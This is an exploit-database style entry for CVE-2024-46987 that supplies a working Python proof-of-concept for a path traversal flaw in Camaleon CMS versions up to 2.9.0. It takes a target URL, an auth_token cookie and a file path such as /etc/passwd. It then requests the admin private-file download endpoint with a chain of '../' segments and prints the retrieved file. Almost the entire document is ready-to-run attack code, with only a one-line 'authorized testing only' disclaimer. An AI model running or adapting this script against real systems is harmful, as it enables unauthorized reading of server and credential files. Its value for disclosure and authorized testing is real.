CVE-2024-46987

# Exploit Title: Camaleon CMS v2.9.0 - Path Traversal
# Date: 2026-02-02
# Exploit Author: Sakshi Velampudi (CyberQuestor)
# Vendor Homepage: https://github.com/owen2345/camaleon-cms
# Software Link: https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
# Version: <= 2.9.0
# Tested on: Linux
# CVE: CVE-2024-46987
# Authentication: Required (auth_token cookie)

# --------------------------------------------------
# Description
# Sends a single HTTP GET request to a vulnerable private file download endpoint
# Uses an auth_token cookie required for admin access
# Detects invalid authentication via redirect to /admin/login
# Displays a preview of the response when file retrieval succeeds

# Usage:
# Run only against systems explicitly authorized for testing
# --------------------------------------------------



"""
Camaleon CMS v2.9.0 - Path Traversal Proof of Concept

"""

import requests

print("\nCamaleon CMS v2.9.0 - Path Traversal PoC (authorized testing only)\n")

# --------------------------------------------------
# 1) Input Collection
# --------------------------------------------------
target_url = input("Target base URL (example: http://target.com): ").strip()
requested_path = input("File path to request (example: /etc/passwd): ").strip()
token = input("auth_token value: ").strip()

if not target_url or not requested_path or not token:
    print("\n[!] Error: URL, file path, and auth_token are required.\n")
    raise SystemExit(1)

# Normalize base URL to avoid malformed paths
target_url = target_url.rstrip("/")

# --------------------------------------------------
# 2) Request Construction
# --------------------------------------------------
url = (
    f"{target_url}"
    f"/admin/media/download_private_file"
    f"?file=../../../../../../{requested_path.lstrip('/')}"
)

cookies = {"auth_token": token}

# --------------------------------------------------
# 3) Request Execution
# --------------------------------------------------
# Redirects are disabled to capture authentication failures.
try:
    response = requests.get(url, cookies=cookies, timeout=10, allow_redirects=False)
except requests.exceptions.RequestException as e:
    print(f"\n[!] Request error: {e}\n")
    raise SystemExit(2)

# --------------------------------------------------
# 4) Response Handling
# --------------------------------------------------
print(f"\n[+] HTTP Status: {response.status_code}")

# Invalid authentication typically results in a redirect to the admin login page
if response.status_code == 302:
    location = response.headers.get("Location", "")
    if "/admin/login" in location:
        print(f"[!] auth_token may be incorrect or expired (redirected to {location}).")
    else:
        print(f"[!] Redirected to: {location or '(no Location header)'}")
    raise SystemExit(1)

# Successful response
if response.status_code == 200:
    print("\n[+] Response preview:\n")

    preview = response.text[:3000]
    print(preview)

    if len(response.text) > 3000:
        print("\n...output truncated...")
    raise SystemExit(0)

# Other failure conditions
print("\n[!] Request failed.")
if response.status_code == 500:
    print("[!] The file path may be invalid, or the server encountered an internal error.")

print(f"[i] Response length: {len(response.content)} bytes")
raise SystemExit(1)